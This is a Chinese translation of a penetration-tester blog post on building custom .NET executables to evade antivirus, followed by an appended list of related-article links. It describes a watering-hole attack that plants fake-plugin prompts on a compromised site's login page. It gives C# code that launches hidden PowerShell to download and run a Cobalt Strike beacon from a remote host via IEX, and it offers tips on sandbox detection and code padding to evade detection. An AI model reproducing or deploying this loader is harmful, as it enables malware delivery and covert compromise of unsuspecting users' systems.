在进行渗透测试的过程中,我们有时候会希望使用可执行文件来完成某些任务。最近,我们在测试过程中拿下了一个网站,从而获得了一次发动水坑攻击的机会。

原文地址:https://www.peew.pw/blog/2017/11 … bles-for-pentesters


背景

于是, 我们将JavaScript嵌入网站的登录页面,提醒用户当前的应用程序需要安装一个浏览器插件才能正常使用,然后诱骗用户下载相应的“插件”。最初的时候,我们尝试利用一个HTA文件在用户的系统上执行PowerShell命令,以便建立一个连接我们的服务器(Cobalt

Strike)的C2通道。但由于某种原因,这种方法在我们的目标系统上面无法正常使用。后来,我们在自己的多个系统上对这种攻击方法进行了尝试,结果一切正常,所以我们不知道HTA是被某些东西拦截了,还是引起了用户的怀疑,或者用户被HTA文件给搞糊涂了。不过不用担心,我们只要把HTA换成了一个定制的exe文件,我们的成功率就能超过50%。

然而,exe文件(也称为可移植可执行文件,也就是PE,因为它包含了由Windows运行所需的全部信息)的问题在于,它通常情况下必须写入磁盘,但是这样一来,它就很容易被AV软件发现。我们知道,各种红队工具(从Metasploit到Cobalt

Strike)都能够生成一个通过C2通道反向连接攻击者机器的exe文件。虽然这些文件每个都不尽相同(这样就能确保具有不同的哈希值),但是,它们却很难逃过AV的法眼。

VirusTotal对Cobalt Strike默认的Beacon有效载荷的分析结果。

实际上,有许多工具可以将这些PE文件封装成不同的代码,以使其看起来跟原来不一样,从而逃避各种安全检测,这些工具包括之前非常流行的Veil-Evasion。 尽管Veil为攻击者提供了很多选项,但防御工具也对这种可执行文件封装器的路数了如指掌。

编写定制的PE文件绕过安全检测

事实证明,即使没有非常尖端的工具、先进的加密技术或0-day漏洞利用代码,也照样可以绕过99%的防御性产品。为此,只需要创建一些自定义的东西——那些安全软件从来没有见过的东西。这时候,编写定制的PE文件就派得上用场了。 我们将使用Visual Studio编写一个.NET可执行文件,让它来执行我们需要的命令。

首先,让我们启动Visual Studio并创建一个新项目。这里,我们可以使用“Windows Forms App (.NET Framework)”模板。

在Visual Studio中新建一个项目。

由于只是创建一个可以静默运行的可执行文件(无窗口),所以,我们可以删除Visual Studio创建的“Form1.cs”以及Program.cs中Main函数的内容。 如果你想为恶意软件创建一个更合理的前端视图,你可以保留这个表单,创建更加有用的外观。

删除系统为我们生成的表单后的项目。

接下来,我们将为读者介绍如何通过C#应用程序来启动一个程序。这里,我们将以PowerShell为例进行介绍。

(在以后的文章中,我们将介绍如何直接从C#程序加载代码,而无需启动另一个进程)

这里将使用System.Diagnostics.Process类来设置和启动我们的新进程。同时,这里将powershell.exe设置为我们的进程,并向其传递一个要执行的命令。 在这个例子中,我们会让PowerShell“沉睡”10秒,以便留出足够的时间来观察其中的运作机制。

static void Main()

{

Process process = new Process();

process.StartInfo.FileName = "powershell.exe";

process.StartInfo.Arguments = "-c "Start-Sleep -s 10"";

process.Start();

}

当运行该程序(点击顶部菜单中的“Start”按钮或按F5)的时候,您应该会看到一个PowerShell窗口停留10秒钟,然后关闭。你会注意到,最初的C#进程一旦启动PowerShell,它自己就会马上退出;它不会等待PowerShell进程退出。

为了观察PowerShell进程的行为表现,需要将窗口设置为隐藏状态。为此,可以直接使用ProcessStartInfo类,而不必在PowerShell中使用“-w hidden”参数,因为后一种做法常常会引起安全软件的怀疑。

process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;

我们还可以将前面的sleep命令换成一个下载并执行指定有效载荷(例如Cobalt Strike的Beacon)的PowerShell命令。显然,我们需要设置好相应的有效载荷和监听器。

process.StartInfo.Arguments = "-c "IEX ((new-object net.webclient).downloadstring('http://10.7.254.230/beacon.ps1'))""

现在,终于到了exe文件出场的时候了。如果您已经通过了代码的最终版本,那么该exe文件将位于projectnamebinDebugprojectname.exe下的项目文件夹中。 如果你不想在自己的系统上运行有效载荷,你可以选择Build>Build Solution菜单项或者按F6来构建一个新的exe版本,而无需真正执行这个程序。

让我们看看效果到底是如何!

最后的效果

VirusTotal对我们定制的可执行文件的分析结果。

不错!

它看起来一切正常!

通过运行我们的自定义可执行文件获得的Beacon

下一步

很明显,五行自定义代码并不是一个长久的解决方案。我毫不怀疑,其他人也会发现这个方法非常有用,随着使用这种方法的人越来越多,这种方法也会渐渐被AV所察觉。然而,我们自己编写可执行文件的好处是,我们可以自定义程序的核心,并且可以随时随地进行大刀阔斧的修改。毕竟,通过添加无关的函数来隐藏代码是很容易的事情,无论是计算pi还是对列表进行排序的代码,都可以达到同样的效果。

我们也可以通过其他.NET函数来加强我们的程序。例如,如果我们知道目标系统的域名,我们可以在启动PowerShell进程之前检查该域名,以避免陷入沙箱。

很明显,我们在这里仍然调用了PowerShell,所以任何与此相关的日志或警报仍然适用。理想情况下,我们不会调用我们定制的可执行文件之外的任何程序。

下一个重要步骤是将有效载荷的所有内容都放入在可执行文件中。这里需要涉及许多方面,从在本地机器上托管PowerShell代码,到通过命令完成下载和执行,以及将shell代码加载到内存中。

猜你喜欢:利用Python CGIHTTPServer绕过CSRF令牌

手把手教渗透测试人员打造.NET可执行文件的更多相关文章

  1. 专为渗透测试人员设计的 Python 工具大合集

    如果你对漏洞挖掘.逆向工程分析或渗透测试感兴趣的话,我第一个要推荐给你的就是Python编程语言.Python不仅语法简单上手容易,而且它还有大量功能强大的库和程序可供我们使用.在这篇文章中,我们会给 ...

  2. 手把手教你用python打造网易公开课视频下载软件3-对抓取的数据进行处理

    上篇讲到抓取的数据保存到rawhtml变量中,然后通过编码最终保存到html变量当中,那么html变量还会有什么问题吗?当然会有了,例如可能html变量中的保存的抓取的页面源代码可能有些标签没有关闭标 ...

  3. 手把手教你用python打造网易公开课视频下载软件2-编码相关说明

    函数getdownLoadInfo(url)主要实现核心功能:根据url地址,获取课程信息:课程名(courseTitle),课程数目(courseCount),可下载视频数目(videoCount) ...

  4. 手把手教你用python打造网易公开课视频下载软件5-python生成exe程序

    python程序生成exe文件,使用的是py2exe扩展包,下面写下具体的步骤: 第一步:新建conver2exe.py,内容如下: #coding:utf-8 from distutils.core ...

  5. 手把手教你用python打造网易公开课视频下载软件4-图形化界面

    上一篇讲解完函数:def getdownLoadInfo (url): 传入公开课的url地址,就可以提取课程的信息,这一篇讲解一下如何编写图像化界面.大概思考一下图像化界面需要的内容: (1)一个标 ...

  6. 手把手教你用python打造网易公开课视频下载软件1-总述

    写作前面的话:最近准备重温一下算法导论,感谢大网易把MIT算法导论课程全部贴出来,地址为:http://v.163.com/special/opencourse/algorithms.html,在线看 ...

  7. 渗透测试工程师认证 | CISP-PTE证书含金量

    注册渗透测试工程师(CISP-PTE)认证是由中国信息安全测评中心针对攻防专业领域实施的资质培训, 是国内唯一针对网络安全渗透测试专业人才的资格认证,是目前国内最为主流及被业界认可的专业攻防领域的资质 ...

  8. xss之渗透测试

    跨站脚本攻击:cross site script execution(通常简写为xss,因css与层叠样式表同名,故改为xss),是指攻击者利用网站程序对用户输入过滤不足,输入可以显示在页面上对其他用 ...

  9. 全球著名的渗透测试Linux简介

    注:如发现链接无法打开,请尝试代理登录链接 1. Kali Linux Kali Linux是基于Debian的Linux发行版, 设计用于数字取证和渗透测试.由Offensive Security ...

随机推荐

  1. C# 6.0可能的新特性及C#发展历程[转]

      C# 6.0可能的新特性及C#发展历程[转] 年10月份发布了,对应的是.Net Franework 4.5.1. 或者3年,更新增加的东西会比较多,所以对于C# 6.0,还是有一些期待的. 下面 ...

  2. protobuf's extension

    [protobuf's extension] extension允许第三方扩展协议,开发方需要像下面这样定义: 扩展方需要像下面这样扩展: 使用的时候必须用SetExtension方法: 参考:htt ...

  3. eclipse-jee-mars-2-win32-x86_64安装activiti

    离线安装老是不行,只能在线安装了 选择Activiti BPMN Desisner,然后一直选择下一步,直到出现如下窗体: 幸亏这个插件很小,在线安装也不算慢

  4. RNA -seq

    RNA -seq RNA-seq目的.用处::可以帮助我们了解,各种比较条件下,所有基因的表达情况的差异. 比如:正常组织和肿瘤组织的之间的差异:检测药物治疗前后,基因表达的差异:检测发育过程中,不同 ...

  5. Excel中保留有效数字的问题

    在工作表界面中按 <alt>+<F11>,进入代码页面,然后再 WORKBOOK中插入模块,把以下代码COPY入模块中.就可以在工作表中使用 =YXSZ(数值,保留位数). 如 ...

  6. MySQL 系列(二)Jdbc

    MySQL 系列(二)Jdbc 一.Jdbc 基本操作 import java.sql.Connection; import java.sql.DriverManager; import java.s ...

  7. JavaScript 语法总结3

    1. 数组初始化可以跳着来  var s = [1,2,,,,6]; // 中间省略的元素为undefined 2. 函数定义表达式:  var f = function(args){ return ...

  8. [GO]go context的deadline方法

    package main import ( "time" "context" "fmt" ) func main() { d := time ...

  9. System.Web.HttpUtility VS System.Web.HttpServerUtility VS System.Net.WebUtility

    HttpUtility 类作为 HttpServerUtility 类的内部使用,HttpServerUtility 通过System.Web.UI.Page.Server属性(WebForm)/Co ...

  10. Web图片编辑控件升级日志-Xproer.ImageEditor

    版权所有 2009-2014 荆门泽优软件有限公司 保留所有权利 官方网站:http://www.ncmem.com 产品首页:http://www.ncmem.com/webplug/image-e ...